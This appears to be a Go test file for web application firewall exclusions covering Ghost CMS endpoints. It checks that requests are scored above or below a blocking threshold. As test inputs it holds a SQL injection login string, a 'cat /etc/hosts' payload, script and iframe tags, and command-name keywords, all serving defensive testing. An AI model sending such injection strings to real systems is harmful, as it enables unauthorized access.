|
func wantGhostImportLabel(
|
|
t *testing.T, target, label string, refused bool,
|
|
) {
|
|
t.Helper()
|
|
|
|
r := request{http.MethodPost, target, []string{multipart}}
|
|
body := field("labels", label) + field("mapping[email]", "email") + end
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
|
if refused && got.Score < ghostThreshold {
|
|
t.Errorf("labels=%q at %s let through: %+v", label, target, got)
|
|
}
|
|
|
|
if !refused && got.Score >= ghostThreshold {
|
|
t.Errorf("labels=%q at %s refused: %+v", label, target, got)
|
|
}
|
|
}
|
|
|
|
func TestGhostImportLabelsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
wantGhostImportLabel(t, ghostImport, value+" import", false)
|
|
}
|
|
|
|
wantGhostImportLabel(t, ghostImport, ghostCommandNames, false)
|
|
|
|
for _, attack := range ghostAttacks {
|
|
wantGhostImportLabel(t, ghostImport, attack, true)
|
|
}
|
|
|
|
// labels keeps its rules on other paths, and when the query has a field
|
|
// of the same name.
|
|
wantGhostImportLabel(t, ghostMembers, "python3 import", true)
|
|
wantGhostImportLabel(t, ghostImport+"?labels=x", "python3 import", true)
|
|
}
|
|
|
|
func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// The fields keep their rules off Ghost's paths, on Ghost's paths that
|
|
// take no such field, and when the query has a field of the same name.
|
|
const (
|
|
title = `{"posts":[{"title":"python3"}]}`
|
|
article = `{"posts":[{"lexical":"<p>cat /etc/hosts</p>"}]}`
|
|
name = `{"name":"python3"}`
|
|
email = `{"email":"python3.dev@example.com"}`
|
|
username = `{"username":"python3.dev@example.com"}`
|
|
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
|
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
|
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
|
postURL = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
|
|
pageURL = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
|
|
)
|
|
|
|
for _, refused := range []struct{ target, body string }{
|
|
{"/api/posts/", title},
|
|
{"/ghost/api/content/posts/", title},
|
|
{ghostMember, title},
|
|
{ghostPosts + "?json.posts.0.title=x", title},
|
|
{ghostPosts, `{"posts":[{"visibility":"python3"}]}`},
|
|
{ghostPosts, name},
|
|
{ghostMember + "?json.name=x", name},
|
|
{"/api/posts/", article},
|
|
{"/ghost/api/admin/users/", `{"users":[{"bio":"<iframe src=x></iframe>"}]}`},
|
|
{ghostPosts + "?json.posts.0.lexical=x", article},
|
|
{"/api/settings/", `{"settings":[{"value":"<meta name=x content=y>"}]}`},
|
|
{
|
|
ghostSettings + "?json.settings.0.value=x",
|
|
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
|
|
},
|
|
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
|
|
{ghostPosts, email},
|
|
{ghostMembers, email},
|
|
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
|
|
{
|
|
ghostMembers + "?json.members.0.email=x",
|
|
`{"members":[{"email":"python3.dev@example.com"}]}`,
|
|
},
|
|
{ghostMember + "?json.email=x", email},
|
|
{ghostPosts, username},
|
|
{ghostSession + "?json.username=x", username},
|
|
{ghostPosts, setupEmail},
|
|
{ghostSetup + "?json.setup.0.email=x", setupEmail},
|
|
{ghostPosts, passwordResetEmail},
|
|
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
|
{ghostPosts, userEmail},
|
|
{ghostUser + "?json.users.0.email=x", userEmail},
|
|
{"/api/posts/1/", postURL},
|
|
{ghostMembers, postURL},
|
|
{ghostPage, postURL},
|
|
{ghostPost + "?json.posts.0.canonical_url=x", postURL},
|
|
{ghostPost, pageURL},
|
|
{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
|
|
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
|
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
|
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
|
{
|
|
"/ghost/api/admin/users/6af4570fd281b00001a59891/?json.users.0.profile_image=x",
|
|
`{"users":[{"profile_image":null}]}`,
|
|
},
|
|
} {
|
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, refused.body)
|
|
if got.Score < ghostThreshold {
|
|
t.Errorf(
|
|
"PUT %s %s let through: %+v",
|
|
refused.target,
|
|
refused.body,
|
|
got,
|
|
)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestGhostScriptExclusionIsNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// A <script> element keeps 941110 off the Admin API, in fields that do
|
|
// not take one, and when the query has a field of the same name. 941100
|
|
// and 941160 refuse each request too, so the test looks for 941110
|
|
// itself.
|
|
const (
|
|
script = `<script defer src=\"/script.js\"></script>`
|
|
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
|
|
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
|
|
scriptInTag = `{"tags":[{"codeinjection_head":"` + script + `"}]}`
|
|
)
|
|
|
|
for _, refused := range []struct{ target, body string }{
|
|
{"/ghost/api/content/posts/", scriptInPost},
|
|
{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
|
|
{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
|
|
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
|
|
{"/api/settings/", scriptInSettings},
|
|
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
|
|
{ghostPosts, scriptInTag},
|
|
{ghostTags + "?json.tags.0.codeinjection_head=x", scriptInTag},
|
|
} {
|
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, refused.body)
|
|
if got.Score < ghostThreshold ||
|
|
!slices.Contains(got.RuleIDs, 941110) {
|
|
t.Errorf(
|
|
"PUT %s %s: %+v, want 941110 among them",
|
|
refused.target,
|
|
refused.body,
|
|
got,
|
|
)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// The query fields keep their rules off Ghost's paths, and in other
|
|
// query fields there. search skips its rules only on the Admin API, and
|
|
// url only on the editor's lookup of embeds. pathname, email_segment,
|
|
// query and email skip theirs only on their own paths.
|
|
for _, target := range []string{
|
|
"/api/posts/?filter=powershell",
|
|
"/ghost/posts/?filter=powershell",
|
|
"/ghost/api/admin/posts/?order=powershell",
|
|
"/ghost/api/content/posts/?search=python3",
|
|
"/members/api/member/?search=python3",
|
|
"/ghost/api/admin/posts/?url=powershell",
|
|
"/oembed/?url=powershell",
|
|
"/ghost/api/admin/posts/?pathname=%2Fpowershell%2F",
|
|
"/ghost/api/admin/stats/top-content/?order=powershell",
|
|
"/ghost/api/admin/pages/?email_segment=label%3Apowershell-users",
|
|
"/ghost/api/admin/posts/?query=python3",
|
|
"/.ghost/activitypub/v1/actions/note?query=python3",
|
|
"/ghost/api/admin/invites/?email=python3.dev%40example.com",
|
|
} {
|
|
wantGhostQuery(t, target, true)
|
|
}
|
|
}
|
|
|
|
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
|
|
// fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks
|
|
// the others: each keeps its rules on another path, and when the query has
|
|
// a field of the same name.
|
|
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
bio = `{"users":[{"bio":"python3"}]}`
|
|
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
|
|
content = `{"content":"python3"}`
|
|
altText = `{"image":{"altText":"python3"}}`
|
|
accountBio = `{"bio":"python3"}`
|
|
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
|
|
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
|
|
sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
|
|
actorURI = `{"actorUri":"https://example.com/users/powershell"}`
|
|
targetHandle = `{"targetHandle":"@powershell@example.com"}`
|
|
domain = `{"domain":"python3.example.com"}`
|
|
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
|
|
tagURL = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}`
|
|
)
|
|
|
|
for _, refused := range []struct{ target, body string }{
|
|
{"/api/users/1/", bio},
|
|
{ghostMember, bio},
|
|
{ghostUser + "?json.users.0.bio=x", bio},
|
|
{ghostPosts, comment},
|
|
{ghostComments + "?json.comments.0.html=x", comment},
|
|
{ghostAccount, content},
|
|
{ghostNote + "?json.content=x", content},
|
|
{ghostAccount, altText},
|
|
{ghostNote + "?json.image.altText=x", altText},
|
|
{ghostNote, accountBio},
|
|
{ghostAccount + "?json.bio=x", accountBio},
|
|
{ghostPosts, invited},
|
|
{ghostInvites + "?json.invites.0.email=x", invited},
|
|
{ghostInvites, accepted},
|
|
{ghostInvitation + "?json.invitation.0.email=x", accepted},
|
|
{ghostMigration, sourceHandle},
|
|
{ghostAliases + "?json.sourceHandle=x", sourceHandle},
|
|
{ghostMigration, actorURI},
|
|
{ghostAliases + "?json.actorUri=x", actorURI},
|
|
{ghostAliases, targetHandle},
|
|
{ghostMigration + "?json.targetHandle=x", targetHandle},
|
|
{ghostAccount, domain},
|
|
{ghostDomain + "?json.domain=x", domain},
|
|
{ghostPosts, tagCode},
|
|
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
|
|
{ghostPosts, tagURL},
|
|
{ghostTags + "?json.tags.0.canonical_url=x", tagURL},
|
|
} {
|
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, refused.body)
|
|
if got.Score < ghostThreshold {
|
|
t.Errorf("PUT %s %s let through: %+v", refused.target,
|
|
refused.body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestGhostPasswordsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// Ghost's password fields, each sent to the path that takes it. A dot
|
|
// nests a field, as Ghost nests it in an array.
|
|
fields := []passwordFields{
|
|
{ghostSession, jsonBody, []string{passwordKey}},
|
|
{
|
|
"/ghost/api/admin/authentication/setup/",
|
|
jsonBody,
|
|
[]string{"setup.0.password"},
|
|
},
|
|
{
|
|
"/ghost/api/admin/authentication/invitation/", jsonBody,
|
|
[]string{"invitation.0.password"},
|
|
},
|
|
{
|
|
"/ghost/api/admin/authentication/password_reset/", jsonBody,
|
|
[]string{
|
|
"password_reset.0.newPassword",
|
|
"password_reset.0.ne2Password",
|
|
},
|
|
},
|
|
{
|
|
"/ghost/api/admin/users/password/", jsonBody,
|
|
[]string{
|
|
"password.0.oldPassword", "password.0.newPassword",
|
|
"password.0.ne2Password",
|
|
},
|
|
},
|
|
}
|
|
|
|
wantPasswordFieldsPass(t, fields)
|
|
}
|